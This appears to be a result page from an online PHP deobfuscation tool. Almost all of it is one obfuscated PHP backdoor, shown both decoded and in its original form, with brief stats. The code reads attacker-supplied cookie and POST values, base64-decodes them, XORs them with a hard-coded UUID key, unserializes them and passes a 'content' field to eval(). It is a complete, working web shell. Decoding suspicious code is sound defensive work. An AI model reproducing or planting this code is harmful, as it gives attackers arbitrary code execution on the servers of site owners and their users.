Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ..
Decoded Output download
<?php $juvuwsAH = class_exists("N_MoHV"); $bWHGe = $juvuwsAH;if (!$bWHGe){class N_MoHV{private $nGWjOY;public static $WikJnBLjDU = "87eef5b8-2885-4534-accb-0bc372173e7b";public static $AyRFsChO = NULL;public function __construct(){$uxiLrLc = $_COOKIE;$vXdKqeZbWz = $_POST;$LyyQgVii = @$uxiLrLc[substr(N_MoHV::$WikJnBLjDU, 0, 4)];if (!empty($LyyQgVii)){$ILQwEZdB = "base64";$ylJTy = "";$LyyQgVii = explode(",", $LyyQgVii);foreach ($LyyQgVii as $gqUXiHr){$ylJTy .= @$uxiLrLc[$gqUXiHr];$ylJTy .= @$vXdKqeZbWz[$gqUXiHr];}$ylJTy = array_map($ILQwEZdB . "_" . chr ( 173 - 73 ).chr ( 227 - 126 ).'c' . "o" . chr ( 800 - 700 )."e", array($ylJTy,)); $ylJTy = $ylJTy[0] ^ str_repeat(N_MoHV::$WikJnBLjDU, (strlen($ylJTy[0]) / strlen(N_MoHV::$WikJnBLjDU)) + 1);N_MoHV::$AyRFsChO = @unserialize($ylJTy);}}public function __destruct(){$this->qePSqbnNbu();}private function qePSqbnNbu(){if (is_array(N_MoHV::$AyRFsChO)) {$CQsQdF = str_replace("<" . '?' . 'p' . chr ( 116 - 12 ).chr (112), "", N_MoHV::$AyRFsChO[chr (99) . "o" . "n" . chr ( 758 - 642 ).chr ( 528 - 427 ).'n' . 't']);eval($CQsQdF);exit();}}}$XBZyr = new N_MoHV(); $XBZyr = NULL;} ?>
Did this file decode correctly?
Original Code
<?php $juvuwsAH = class_exists("N_MoHV"); $bWHGe = $juvuwsAH;if (!$bWHGe){class N_MoHV{private $nGWjOY;public static $WikJnBLjDU = "87eef5b8-2885-4534-accb-0bc372173e7b";public static $AyRFsChO = NULL;public function __construct(){$uxiLrLc = $_COOKIE;$vXdKqeZbWz = $_POST;$LyyQgVii = @$uxiLrLc[substr(N_MoHV::$WikJnBLjDU, 0, 4)];if (!empty($LyyQgVii)){$ILQwEZdB = "base64";$ylJTy = "";$LyyQgVii = explode(",", $LyyQgVii);foreach ($LyyQgVii as $gqUXiHr){$ylJTy .= @$uxiLrLc[$gqUXiHr];$ylJTy .= @$vXdKqeZbWz[$gqUXiHr];}$ylJTy = array_map($ILQwEZdB . "\x5f" . chr ( 173 - 73 ).chr ( 227 - 126 ).'c' . "\157" . chr ( 800 - 700 )."\145", array($ylJTy,)); $ylJTy = $ylJTy[0] ^ str_repeat(N_MoHV::$WikJnBLjDU, (strlen($ylJTy[0]) / strlen(N_MoHV::$WikJnBLjDU)) + 1);N_MoHV::$AyRFsChO = @unserialize($ylJTy);}}public function __destruct(){$this->qePSqbnNbu();}private function qePSqbnNbu(){if (is_array(N_MoHV::$AyRFsChO)) {$CQsQdF = str_replace("\74" . '?' . 'p' . chr ( 116 - 12 ).chr (112), "", N_MoHV::$AyRFsChO[chr (99) . "\157" . "\x6e" . chr ( 758 - 642 ).chr ( 528 - 427 ).'n' . 't']);eval($CQsQdF);exit();}}}$XBZyr = new N_MoHV(); $XBZyr = NULL;} ?>
Function Calls
class_exists | 1 |
Stats
MD5 | 6c730339876b0d81a6f72cb21225e4e8 |
Eval Count | 0 |
Decode Time | 65 ms |